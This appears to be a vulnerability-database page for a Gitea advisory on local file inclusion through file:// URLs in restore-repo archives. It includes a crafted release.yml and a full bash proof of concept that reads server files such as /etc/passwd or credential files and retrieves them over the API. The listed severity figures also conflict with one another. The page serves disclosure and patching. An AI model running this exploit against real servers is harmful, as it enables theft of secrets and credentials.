Skip to content

GHSA-5ggr-2f2h-jmvm CVE-2026-58420 GO-2026-6032

Gitea: Local File Inclusion via file:// URI in Migration Restore

Medium Go
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.47%
Chance of exploitation in the next 30 days. Higher than 40.72% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-73 External Control of File Name or Path
Fix
1.27.0
Upgrade gitea.dev to this version or later

Description

Local File Inclusion via file:// URI in Migration Restore

Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers:


Summary

Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.


Impact

An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:

  • app.ini — containing database passwords and secret keys
  • SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
  • TLS certificates and private keys
  • Cloud provider credential files (e.g. ~/.aws/credentials)
  • Any other file readable by the Gitea process user

The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.


Affected Code

modules/uri/uri.go
func Open(rawURL string) (io.ReadCloser, error) {
    u, err := url.Parse(rawURL)
    if err != nil {
        return nil, err
    }
    switch u.Scheme {
    case "http", "https":
        resp, err := http.Get(rawURL)
        ...
    case "file":
        return os.Open(u.Path) // no scheme validation, no path restriction
    }
}
services/migrations/gitea_uploader.go (~line 370)
func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
    for _, rel := range releases {
        for _, asset := range rel.Assets {
            rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
            ...
            // file content saved as release attachment
        }
    }
}

Attack Scenario

An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:

  1. Create a malicious archive containing release.yml:
releases:
  - tag_name: v0.0.1
    assets:
      - name: exfiltrated.txt
        download_url: "file:///etc/passwd"
  1. Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
  1. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.

  2. Retrieve via API:

curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
  -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'

PoC

Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.

#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)

GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"

1. Create target org and repo via API

curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true

curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
  -H "Authorization: token $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true

2. Build malicious archive

TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"

cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
  - tag_name: v0.0.1
    name: test
    body: ""
    draft: false
    prerelease: false
    assets:
      - name: output.txt
        download_url: "file://$TARGET_FILE"
        size: 0
        download_count: 0
YAML

cd "$TMP" && zip -r poc.zip bundles/

3. Trigger restore

gitea restore-repo \
  --zip-path "$TMP/poc.zip" \
  --owner "$OWNER" \
  --repo "$REPO" \
  --units release 2>&1

4. Retrieve exfiltrated content

echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
  -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')

curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
  -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
  xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"

rm -rf "$TMP"

Root Cause

uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.


Fix Recommendation

In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():

parsed, err := url.Parse(asset.DownloadURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
    log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
    continue
}
rc, err := uri.Open(asset.DownloadURL)
Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.

Workaround

Until a patch is available, operators should:

  • Restrict restore-repo execution to fully trusted operators only
  • Audit all archive contents manually before running restoration
  • Review existing release attachments for unexpected or sensitive filenames

Isa Can Security Researcher — Eresus Security https://github.com/isa0-gh

Yigit Ibrahim Security Researcher — Eresus Security https://github.com/ibrahmsql

Affected versions

Go

PackageVulnerableFixed in
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack vector
Local
Attack complexity
Low
Attack requirements
None
Privileges required
High
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 4.4

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Attack vector
Local
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-73: External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations.

How to prevent it
  • Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
  • Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
  • Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
  • Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
  • Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects gitea.dev
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects gitea.dev
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects gitea.dev
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects gitea.dev
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects gitea.dev
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects gitea.dev
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor